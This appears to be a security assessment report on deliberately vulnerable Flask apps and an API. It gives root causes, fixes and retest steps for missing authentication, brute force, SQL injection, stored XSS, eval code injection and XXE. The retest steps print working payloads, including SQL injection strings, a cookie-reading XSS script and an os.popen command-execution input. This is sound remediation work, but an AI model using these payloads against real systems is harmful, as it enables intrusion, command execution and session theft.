Security Assessment
Report

Root Cause

The create() function (line 85, /app/app.py) and edit() function (line 120, /app/app.py) both process form submissions without first verifying that the caller holds a valid authenticated session. Flask stores the logged-in user's identity in the server-side session under the key user_id, but neither function checks for its presence before reading form data and writing to the database. The absence of this guard is a single missing conditional that exposes both write endpoints to the entire internet.

Recommended Fix

Before (vulnerable):

# app.py:85 — create()
@app.route('/create', methods=['GET', 'POST'])
def create():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        reference = request.form['reference']
        # ... writes directly to DB with no auth check

# app.py:120 — edit()
@app.route('/<int:id>/edit', methods=['GET', 'POST'])
def edit(id):
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        # ... writes directly to DB with no auth or ownership check

After (secure):

@app.route('/create', methods=['GET', 'POST'])
def create():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        reference = request.form['reference']
        # ... write to DB (now guaranteed authenticated)

@app.route('/<int:id>/edit', methods=['GET', 'POST'])
def edit(id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    post = get_post_by_id(id)  # fetch the existing record
    if post['author_id'] != session['user_id']:
        abort(403)  # ownership check
    if request.method == 'POST':
        # ...

Additional Hardening:

• Add an ownership check after the authentication check in edit() to prevent one authenticated user from editing another user's posts.
• Use Flask-Login's @login_required decorator as a consistent, reusable authentication guard across all protected routes.
• Apply the same authentication guard to the GET handler of both endpoints so unauthenticated users cannot even load the create/edit form pages.

Verification

1. Test unauthenticated POST to /create: With no Cookie or session header, send:

   curl -X POST "https://pentest-ground.com:81/create" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data-urlencode "title=TestPost" --data-urlencode "content=TestContent"
   

   • Expected (fixed): HTTP 302 Location: /login — user is redirected to log in.
   • Still vulnerable: HTTP 200 with the page rendering normally (post was stored).

2. Test unauthenticated POST to /edit: With no Cookie or session header, send a POST to any existing post ID (e.g., /1/edit):

   curl -X POST "https://pentest-ground.com:81/1/edit" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data-urlencode "title=Overwrite" --data-urlencode "content=Overwritten"
   

   • Expected (fixed): HTTP 302 Location: /login.
   • Still vulnerable: HTTP 200 with a success page, and /post/1 title changed to "Overwrite".

3. Regression check — authenticated user cannot edit another user's post: Log in as user1, then attempt to edit a post authored by admin. Expected result is HTTP 403 Forbidden. If editing succeeds, the ownership check is missing.

References

• OWASP Authentication Cheat Sheet
• CWE-306: Missing Authentication for Critical Function
• Flask-Login documentation — @login_required decorator

Root Cause

The /tokens handler in the VulnAPI Flask application (port 9000) performs credential verification but imposes no limit on how many times verification can be attempted from the same source. There is no middleware tracking failed attempts, no per-account lockout counter, and no IP-based throttling. The accounts user1 and admin1 also use the trivially guessable password pass1, which falls on page one of any standard credential wordlist.

Recommended Fix

Before (vulnerable):

@app.route('/tokens', methods=['POST'])
def get_token():
    body = request.json
    username = body.get('username')
    password = body.get('password')
    # look up user, verify password hash, return token
    # — no rate limit, no lockout counter

After (secure):

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/tokens', methods=['POST'])
@limiter.limit("5 per minute; 20 per hour")
def get_token():
    body = request.json
    username = body.get('username')
    password = body.get('password')
    # look up user, verify password, return token — rate limited

Additional Hardening:

• Enforce a minimum password length of 12 characters with complexity requirements; reject passwords appearing in common wordlists at account creation and password-change time.
• Rotate tokens and set short expiry windows (e.g., 1 hour) so that a brute-forced token has a limited useful lifetime.
• Log authentication failures with username, source IP, and timestamp; alert on more than 5 failures per account within 10 minutes.

Verification

1. Test rate limiting: Send 10 rapid POST requests to /tokens with an incorrect password for user1. After the fifth attempt, the response should be HTTP 429 Too Many Requests with a Retry-After header. If all 10 return HTTP 401 without throttling, the fix is not working.

2. Test account lockout: After 10 consecutive failures for user1, attempt login with the correct credentials. The response should indicate the account is temporarily locked. If login succeeds immediately, lockout is not implemented.

3. Verify strong password rejection: Attempt to create an account (or change a password) using pass1 as the password. Expect a 4xx response explaining the password policy. If pass1 is accepted, the password policy is not enforced.

References

• OWASP Credential Stuffing Prevention Cheat Sheet
• CWE-307: Improper Restriction of Excessive Authentication Attempts
• Flask-Limiter documentation

Root Cause

The /{id}/edit route handler for both GET and POST methods processes requests without first checking whether the requester is logged in or whether the logged-in user owns the post being edited. Flask-Login's @login_required decorator is not applied to this route, and there is no post-fetch ownership comparison (post.author_id == current_user.id). Because post IDs are sequential integers starting at 1, an attacker can enumerate every post on the platform with no additional knowledge.

Recommended Fix

Before (vulnerable):

@app.route('/<int:id>/edit', methods=['GET', 'POST'])
def edit_post(id):
    post = db.execute('SELECT * FROM posts WHERE id = ?', [id]).fetchone()
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        db.execute('UPDATE posts SET title=?, content=? WHERE id=?',
                   [title, content, id])
        db.commit()
        return redirect(url_for('post', id=id))
    return render_template('edit.html', post=post)

After (secure):

from flask_login import login_required, current_user
from flask import abort

@app.route('/<int:id>/edit', methods=['GET', 'POST'])
@login_required  # Step 1: Require authentication
def edit_post(id):
    post = db.execute('SELECT * FROM posts WHERE id = ?', [id]).fetchone()
    if post is None:
        abort(404)
    # Step 2: Enforce ownership — only the author may edit
    if post['author_id'] != current_user.id:
        abort(403)
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        db.execute('UPDATE posts SET title=?, content=? WHERE id=?',
                   [title, content, id])
        db.commit()
        return redirect(url_for('post', id=id))
    return render_template('edit.html', post=post)

Additional Hardening:

• Add a CSRF token to the edit form (flask-wtf or manual token) so that even authenticated users cannot have their edit actions forged by a malicious third-party website
• Use non-sequential (UUID or random) post identifiers to prevent bulk enumeration of all editable posts, complementing (not replacing) the ownership check
• Add server-side rate limiting on the /{id}/edit endpoint to slow down automated bulk-edit attempts

Verification

Step 1 — Verify unauthenticated GET is rejected:

curl -sk https://pentest-ground.com:81/1/edit -w "\nHTTP Status: %{http_code}\n"

• Expected (secure): HTTP 302 redirect to /login or HTTP 401/403 — no edit form returned
• Unexpected (still vulnerable): HTTP 200 with the pre-populated edit form

Step 2 — Verify a logged-in user cannot edit another user's post:

1. Log in as User A and capture session cookie
2. Find a post owned by User B (different author_id)
3. Attempt GET /[User B's post ID]/edit with User A's session cookie

• Expected (secure): HTTP 403 — ownership check rejects the request
• Unexpected (still vulnerable): HTTP 200 with the edit form for User B's post

Step 3 — Verify a logged-in author can still edit their own post:

1. Log in as the post author and capture session cookie
2. GET /[own post ID]/edit — should return HTTP 200 with the form
3. POST /[own post ID]/edit with updated data — should succeed and redirect to the post view

• Expected (secure): Edit works normally for the owner
• Unexpected: HTTP 403 for a legitimate author (regression)

References

1. OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
2. CWE-862 – Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
3. Flask-Login @login_required documentation: https://flask-login.readthedocs.io/en/latest/#flask_login.login_required

Root Cause

The get_token() function at /usr/src/app/vAPI.py:55–59 builds the SQL query by inserting username and password directly into a format string: "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password). The developer even left a comment acknowledging this: # no sql parameterization. SQLite's execute() receives the fully assembled string and cannot distinguish the injected SQL clauses from the intended query structure. Using the ? placeholder syntax would instruct the SQLite driver to bind values as data, making injection structurally impossible.

Recommended Fix

Before (vulnerable):

# /usr/src/app/vAPI.py lines 55–59
# no sql parameterization
user_query = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (
    username,
    password,
)
c.execute(user_query)

After (secure):

# Use parameterized query — sqlite3 ? placeholder binds values as data
c.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, password),
)

Additional Hardening:

• Hash passwords with bcrypt or Argon2 before storage — plaintext passwords mean a single DB breach exposes all accounts permanently.
• Add rate limiting on POST /tokens (e.g., 5 attempts per IP per minute) to slow credential-stuffing even if parameterization is properly applied.
• Implement account lockout after repeated failed attempts to limit brute-force exposure.

Verification

1. Verify bypass is closed: Send POST /tokens with {"username": "user1' OR '1'='1'--", "password": "x"}. The expected (secure) response is HTTP 401 with an error message. If a token is returned, the fix was not applied.
2. Verify UNION injection is closed: Send {"username": "x' UNION SELECT 1,2,3--", "password": "x"}. The expected (secure) response is HTTP 401. If a token with "id": 1 is returned, the fix was not applied.
3. Verify legitimate login still works: Send {"username": "user1", "password": "pass1"}. The expected (secure) response is HTTP 200 with a valid token. If HTTP 401 is returned, the parameterized query may have a logic error.

References

1. OWASP SQL Injection Prevention Cheat Sheet
2. CWE-89: SQL Injection
3. Python sqlite3 — Using Placeholders

Root Cause

At /app/app.py:162, the query form parameter is embedded directly into the SQL string using a Python f-string: conn.execute(f"SELECT * FROM posts WHERE title LIKE '{query}'"). Python f-strings perform string interpolation before the result is passed to SQLite's execute(), so SQLite receives an already-assembled query containing the user's input as SQL text. Replacing the f-string with a parameterized ? placeholder makes injection structurally impossible because the value is bound separately and never parsed as SQL syntax.

Recommended Fix

Before (vulnerable):

# /app/app.py line 162
conn.execute(f"SELECT * FROM posts WHERE title LIKE '{query}'")

After (secure):

# Parameterized query with LIKE wildcard applied to the bound value
conn.execute(
    "SELECT * FROM posts WHERE title LIKE ?",
    (f"%{query}%",)
)

Additional Hardening:

• Disable Werkzeug debug mode in production (FLASK_DEBUG=False, FLASK_ENV=production) — the full stack trace exposed the exact vulnerable source line, making exploitation trivial.
• Apply input length limits on the query parameter (e.g., 200 characters) to reduce the payload space for complex injection chains.
• Consider returning search results through a template that HTML-encodes all output to provide defense-in-depth against reflected injection.

Verification

1. Verify injection is closed: Send POST /search with query=test'. The expected (secure) response is a normal search results page (possibly empty) with HTTP 200 — no Werkzeug traceback. If an OperationalError traceback is returned, the fix was not applied.
2. Verify UNION injection is closed: Send POST /search with query=notexists' UNION SELECT 1,'test',3,4,5--. The expected (secure) response shows no results or the literal search term. If a fake post with title "test" appears, the fix was not applied.
3. Verify legitimate search still works: Send POST /search with query=hello. The expected (secure) response shows posts matching "hello" in the title. If the results page is empty or errors, there is a regression.

References

1. OWASP SQL Injection Prevention Cheat Sheet
2. CWE-89: SQL Injection
3. Python sqlite3 — Avoiding SQL injection

Root Cause

The Jinja2 template for the post view page renders the title variable using {{ post.title | safe }} (or an equivalent method that disables autoescaping), while the content variable is rendered with standard autoescaping ({{ post.content }}). Jinja2's autoescaping converts dangerous characters (<, >, ", ', &) to their HTML-entity equivalents, making injected tags inert. By applying | safe to the title, the developer bypassed this protection, instructing the template engine to trust the database value as safe HTML. Because the title comes from untrusted user input with no server-side sanitization, any HTML or JavaScript a user submits is preserved verbatim from storage through to browser rendering.

Recommended Fix

Before (vulnerable):

{# In post.html or equivalent template #}
<title>{{ post.title | safe }}</title>
...
<h2>{{ post.title | safe }}</h2>

After (secure):

{# Remove | safe — Jinja2 autoescaping encodes < > " ' & #}
<title>{{ post.title }}</title>
...
<h2>{{ post.title }}</h2>

If rich HTML in post titles is a product requirement, use a strict server-side allowlist sanitizer before storage:

import bleach
ALLOWED_TAGS = []  # No HTML tags permitted in titles
ALLOWED_ATTRIBUTES = {}

def sanitize_title(raw_title: str) -> str:
    return bleach.clean(raw_title, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRIBUTES, strip=True)

# In /create and /{id}/edit route handlers:
title = sanitize_title(request.form.get('title', ''))

Additional Hardening:

• Add a Content-Security-Policy header restricting inline script execution: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'. This provides defense-in-depth — even if a future encoding bypass is introduced, inline <script> blocks would be blocked by the browser.
• Add HttpOnly flag to the SessionID cookie: Change Set-Cookie: SessionID=...; Path=/ to Set-Cookie: SessionID=...; Path=/; HttpOnly; Secure; SameSite=Lax. This makes the cookie inaccessible to JavaScript, eliminating session theft as a direct XSS impact even if another XSS is introduced later.
• Enforce authentication on POST /create and POST /{id}/edit: Unauthenticated post creation and editing is a separate design risk that amplifies XSS by allowing anonymous attackers to plant payloads without leaving a credential trace.

Verification

Follow these steps after applying the fix to confirm it is effective:

Step 1 — Verify encoding of the injected title in the HTML response:

curl -s -X POST "https://pentest-ground.com:81/create" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "title=<script>alert(1)</script>" \
  --data-urlencode "content=test" \
  --data-urlencode "reference=https://example.com"

# Then find the new post ID and inspect the title element:
curl -s "https://pentest-ground.com:81/post/{new_id}" | grep -i "title\|h2"

• Expected (secure) output: <title> &lt;script&gt;alert(1)&lt;/script&gt; </title> — angle brackets HTML-encoded
• Unexpected (still vulnerable): <title> <script>alert(1)</script> </title> — raw tags present

Step 2 — Verify no JavaScript execution in a real browser:
Open https://pentest-ground.com:81/post/{new_id} in a browser (or Playwright). Check the page title.

• Expected (secure): Page title shows the literal text <script>alert(1)</script> (encoded characters displayed as text)
• Unexpected (still vulnerable): An alert dialog fires, or page title is mutated by script

Step 3 — Verify the cookie-stealing variant is neutralised:

curl -s -X POST "https://pentest-ground.com:81/create" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "title=><script>document.title='STOLEN:'+document.cookie</script>" \
  --data-urlencode "content=regression check" \
  --data-urlencode "reference=https://example.com"

Navigate to the resulting post URL and check the page title.

• Expected (secure): Page title shows the post title text with HTML entities — no cookie value appears; document.cookie is not read
• Unexpected (still vulnerable): Page title changes to STOLEN:SessionID=... confirming cookie access

Step 4 — Confirm the edit endpoint is also fixed:
Apply the same test against POST /1/edit with an XSS payload in the title field and verify the title at GET /post/1 is HTML-encoded.

References

1. OWASP Cross Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
2. CWE-79: Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
3. Jinja2 autoescaping documentation: https://jinja.palletsprojects.com/en/3.1.x/api/#autoescaping

Set FLASK_DEBUG=0 and FLASK_ENV=production in all deployment configurations. Never start Flask with debug=True in production. Remove Werkzeug debugger from production WSGI setup entirely.

Root Cause

Python's eval() executes any valid Python expression it receives. The evaluate_str() handler in vAPI.py passes the raw value of the s query parameter directly to eval() with no filtering, sandboxing, or allowlisting whatsoever. The eval() built-in has access to Python's full standard library, making it trivially weaponisable for OS command execution via __import__('os').popen(...). The endpoint exists intentionally in this deliberately vulnerable API, but must not be present in any production system.

Recommended Fix

Before (vulnerable):

# /usr/src/app/vAPI.py — evaluate_str() function
def evaluate_str(s):
    result = eval(s)   # s is raw user input — arbitrary code execution
    return {"message": f"Evaluation result: {result}"}

After (secure — remove entirely):

# Remove the /eval endpoint and evaluate_str() function completely.
# If mathematical expression evaluation is genuinely required, use a
# restricted AST-based evaluator instead:
import ast
import operator

SAFE_OPS = {
    ast.Add: operator.add,
    ast.Sub: operator.sub,
    ast.Mult: operator.mul,
    ast.Div: operator.truediv,
}

def safe_eval_math(expr):
    """Evaluates simple arithmetic only — no imports, no calls, no attribute access."""
    tree = ast.parse(expr, mode='eval')
    return _eval_node(tree.body)

def _eval_node(node):
    if isinstance(node, ast.Constant):
        return node.value
    elif isinstance(node, ast.BinOp) and type(node.op) in SAFE_OPS:
        return SAFE_OPS[type(node.op)](_eval_node(node.left), _eval_node(node.right))
    raise ValueError("Unsupported expression")

Additional Hardening:

• Remove the /eval endpoint from the OpenAPI specification so it cannot be re-added accidentally.
• Apply network-layer controls to restrict API access to known clients or VPN users.
• Run the application as a non-root user — even if code execution occurs, the blast radius is drastically reduced.

Verification

1. Verify the endpoint is removed: Send GET https://pentest-ground.com:9000/eval?s=1+1. The expected (secure) response is HTTP 404. If HTTP 200 is still returned, the endpoint was not removed.
2. Verify no expression evaluation: If a safe math-only endpoint replaces it, send GET /eval?s=__import__('os').popen('id').read(). The expected (secure) response is an error such as {"error": "Unsupported expression"}. If the response contains uid=, the replacement is not safe.
3. Regression — verify safe math still works if kept: Send GET /eval?s=1+1. The expected (secure) response is {"result": 2}. Any Python traceback or unexpected output indicates a regression.

References

1. OWASP Code Injection
2. CWE-78: OS Command Injection
3. Python ast.literal_eval documentation (safe alternative)

Root Cause

The get_user() function interpolates the {user} path parameter directly into a SQL string using %s formatting — the same pattern as get_token(). Additionally, the function returns the raw password database column in its response JSON, meaning even legitimate queries expose stored credentials. Both flaws compound each other: the SQL injection enables mass extraction, while the plaintext response means even a correctly parameterized query would still be dangerous.

Recommended Fix

Before (vulnerable):

# get_user() in /usr/src/app/vAPI.py
user_query = "SELECT * FROM users WHERE id = '%s'" % user
c.execute(user_query)
row = c.fetchone()
return {"user": {"id": row[0], "name": row[1], "password": row[2]}}  # password exposed

After (secure):

# Use parameterized query; omit password from response
c.execute("SELECT id, username FROM users WHERE id = ?", (user,))
row = c.fetchone()
if row is None:
    return {"error": {"message": "user not found"}}, 404
return {"user": {"id": row[0], "name": row[1]}}  # password field removed

Additional Hardening:

• Hash passwords with bcrypt or Argon2 before storage — even a parameterized query protecting against SQL injection cannot fix plaintext storage once a breach occurs through another vector.
• Validate that the user path parameter is a positive integer before querying, rejecting any non-numeric value immediately.
• Apply ownership checks: verify the requesting user's token matches the requested user ID, or enforce an admin role for cross-user lookups.

Verification

1. Verify injection is closed: Send GET /user/0%27%20UNION%20SELECT%201%2C2%2C3-- with a valid token. The expected (secure) response is HTTP 404 ("user not found") or HTTP 400. If {"user": {"id": 1, "name": 2, "password": 3}} is returned, the fix was not applied.
2. Verify password not returned: Send GET /user/1 with a valid token. The expected (secure) response should not contain a password field. If "password": "pass1" appears in the response, the second issue was not fixed.
3. Verify legitimate lookup still works: Send GET /user/1 with the token for user 1. The expected (secure) response contains {"user": {"id": 1, "name": "user1"}} (no password). If HTTP 404 is returned for a valid user, there is a regression.

References

1. OWASP SQL Injection Prevention Cheat Sheet
2. CWE-89: SQL Injection
3. OWASP API Security Top 10 — API3:2023 Broken Object Property Level Authorization

Root Cause

The search() handler in /usr/src/app/vAPI.py calls lxml's XML parsing function without providing a hardened parser instance. By default, lxml resolves external entities — both file:// (local filesystem) and http:// (network) — because this is the XML specification's default behavior. The fix is a single-line change to pass a pre-configured XMLParser that disables these capabilities. Alternatively, the defusedxml library wraps lxml with all dangerous XML features disabled by default.

Recommended Fix

Before (vulnerable):

# /usr/src/app/vAPI.py — search() handler
import lxml.etree

def search(body):
    tree = lxml.etree.fromstring(body)   # external entities resolved by default
    user = tree.find('user').text
    # ... query database

After (secure — option 1: hardened lxml parser):

import lxml.etree

def search(body):
    parser = lxml.etree.XMLParser(
        resolve_entities=False,   # disables entity expansion entirely
        no_network=True,          # disables outbound HTTP/FTP entity resolution
        load_dtd=False,           # disables DTD loading
    )
    tree = lxml.etree.fromstring(body, parser)
    user = tree.find('user').text
    # ... query database

After (secure — option 2: defusedxml):

import defusedxml.lxml   # pip install defusedxml

def search(body):
    tree = defusedxml.lxml.fromstring(body)   # all dangerous features disabled by default
    user = tree.find('user').text

Additional Hardening:

• If the API only needs a simple string value from the XML body, consider rejecting any request whose body contains <!DOCTYPE or <!ENTITY declarations entirely as a defense-in-depth measure.
• Validate that the Content-Type: application/xml endpoint is actually needed — if JSON is equally acceptable, disable XML parsing entirely.
• Apply network egress filtering to restrict outbound connections from the application server to only explicitly required destinations.

Verification

1. Verify SSRF is closed: Send the HTTP external entity payload from Step 2 above. The expected (secure) response is {"error": {"message": "user element not found"}} or similar application error — not "StartTag: invalid element name". If the lxml network-fetch error still appears, the fix was not applied.
2. Verify file entity is blocked: Send the file:///usr/src/app/vAPI.py payload from Step 3. The expected (secure) response is an application-level error about a missing or invalid XML structure — not a lxml parse error reflecting the file's content. If the same StartTag error appears, the fix was not applied.
3. Verify legitimate XML search still works: Send a valid search request <root><user>user1</user></root> with Content-Type: application/xml. The expected (secure) response is normal search results for user1. If an unexpected error occurs, the parser configuration has a regression.

References

1. OWASP XXE Prevention Cheat Sheet
2. CWE-611: Improper Restriction of XML External Entity Reference
3. defusedxml — Python XML security library